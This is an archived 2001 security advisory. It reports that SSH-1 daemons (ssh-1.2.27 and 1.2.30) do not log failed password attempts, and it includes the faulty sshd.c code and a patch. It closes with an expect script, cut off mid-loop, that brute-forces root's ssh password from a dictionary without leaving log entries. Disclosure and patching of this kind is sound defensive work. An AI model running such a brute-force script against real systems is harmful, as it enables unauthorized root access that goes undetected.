Crimelabs, Inc.                       

                        Security Note
        Crimelabs Security Note CLABS200101

                Title: SSH-1 Brute Force Password Vulnerability
                 Date: 5 February, 2001
              Vendors: Any supported by SSH-1
             Versions: At least ssh-1.2.27 and 1.2.30
         Not Affected: OpenSSH
             Severity: Medium to High
               Author: Jose Nazario <[EMAIL PROTECTED]>
        Vendor Status: Contacted 1 February, 2001
         Vendor Reply: Fixed in CVS, more below


There exists a very simple, but potentially damaging, vulnerability in
the SSH version 1 daemon related to the brute forcing of passwords in
accounts. By default the daemon does not log up to four unsuccessful
attempts at guessing a password or a username/password combination. This
allows for the undetected brute forcing of passwords or account/password
combinations. An exploit is included. A source code patch to ssh-1.2.30 is
also included.

This is unrelated to, but similar to, the problem noted by the
J.J.F./Hackers Team at, which
noted the failure of the ssh version 2 daemon to not log IP addresses upon
connections, leading to an untracable brute force attack.


Depending on the rules in place at the site, if root logins are allowed
(and they are by default) this could lead to a root account compromise if
given enough time or a good enough dictionary in relation to the password.

While this can readily be done for other login protocols, including
telnet, ftp, and the like, they log failed password attempts, unlike sshd.
As such, it becomes possible to hide one's intentions as an attempt is
made to brute force accounts.

It is for this reason that we mark the risk factor as "Medium to High".

Crimelabs dissuades allowing ssh root logins for many reasons, including
this one. The main argument against it is a lack of accounting on the
system, which would be facilitated by 'su' logs. Additional reasons
include bypassing the limitations placed on users by 'su' locally, and
conformance to traditional UNIX login standards for telnet and rlogin,
which disallow root logins.

The Problem Code

Examination of the code reveals this occurs because the message that would
otherwise log this message is wrapped around a debug routine:

(file sshd.c from sources 1.2.30, one example)

2673- {
2674-   /* Log failures if attempted more than once. */
2675:   debug("Password authentication failed for user %.100s from %.100s.",
2676-         user, get_canonical_hostname());
2677-  }

Patch and Workaround

The following patch should be applied to sshd.c (this is for the 1.2.30
sources), the daemon rebuilt and reinstalled.

Better yet, upgrade to OpenSSH ( Thanks to
everyone on the OpenSSH team for a better product.

The following patch against ssh-1.2.30 code fixes the logging issue for
password authentication, RSA authentication, RhostsRSA authentication, and
TIS authentication. Kerberos4 appears to still not be logged as a failed
password authentication, but Kerberos5 does. Not having a Kerberos
infrastructure to test this on, I am unable evaluate this portion of the

$ diff -Naur ssh-1.2.30/sshd.c.orig ssh-1.2.30/sshd.c
--- ssh-1.2.30/sshd.c.orig      Wed Jan 31 12:11:08 2001
+++ ssh-1.2.30/sshd.c   Wed Jan 31 12:57:36 2001
@@ -2408,7 +2408,7 @@
               remote_user_name = client_user;
-          debug("Rhosts authentication failed for '%.100s', remote '%.100s', host 
+          log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host 
                 user, client_user, get_canonical_hostname());
@@ -2469,7 +2469,7 @@
-          debug("RhostsRSA authentication failed for '%.100s', remote '%.100s', host 
+          log_msg("RhostsRSA authentication failed for '%.100s', remote '%.100s', 
+host '%.200s'.",
                 user, client_user, get_canonical_hostname());
@@ -2500,7 +2500,7 @@
-            debug("RSA authentication for %.100s failed.", user);
+            log_msg("RSA authentication for %.100s failed.", user);

@@ -2633,7 +2633,7 @@
               authenticated = 1;
             } else {
-              debug("TIS authentication for %.100s failed",user);
+              log_msg("TIS authentication for %.100s failed",user);
               memset(password, 0, strlen(password));
@@ -2672,7 +2672,7 @@
           if (password_attempts > 0)
               /* Log failures if attempted more than once. */
-              debug("Password authentication failed for user %.100s from %.100s.",
+              log_msg("Password authentication failed for user %.100s from %.100s.",

                     user, get_canonical_hostname());
@@ -2693,7 +2693,7 @@
               authenticated = 1;
-          debug("Password authentication for %.100s failed.", user);
+          log_msg("Password authentication for %.100s failed.", user);
           memset(password, 0, strlen(password));

Vendor Response

Tatu Ylonen was quick to respond. In summary, he noted that the SSH-1 code
is depracated, and that the real fix is to move to SSH-2. However, the
problem has been fixed in the CVS tree for the version 1 daemon.


Because a workaround and a source patch is available for ssh systems
vulnerable to this problem, we have devised and are releasing an exploit
for this problem. Using the expect language, we can work our way through a
dictionary of potential passwords for the root account via the sshd
version 1 without detection of our true activities.

Standard disclaimer applies, this is research only, don't use against a
live target unless you are authorized to do so, proof of concept, a
threshing by your mother, etc.

#!/usr/bin/expect -f
# simple expect exploit to brute force root's password via ssh without
# detection.. see CLABS200101 for info on this exploit.
# this is beerware, just buy me a beer at defcon if you like this.
# build your own dictionary, use at your own risk, no warranty, etc.
# [EMAIL PROTECTED]            january, 2001
set timeout 3
set target [lindex $argv 0]
set dictionary [lindex $argv 1]

if {[llength $argv] !=  2} {
   puts stderr "Usage: $argv0 root@target dictionary\n"
   exit }

set tryPass [open $dictionary r]

foreach passwd [split [read $tryPass] "\n"] {
  spawn ssh $target
  expect ":"
  send "$passwd\n"
  expect "#" { puts "password is $passwd\n" ; exit }
  set id [exp_pid]
  exec kill -INT $id

Reply via email to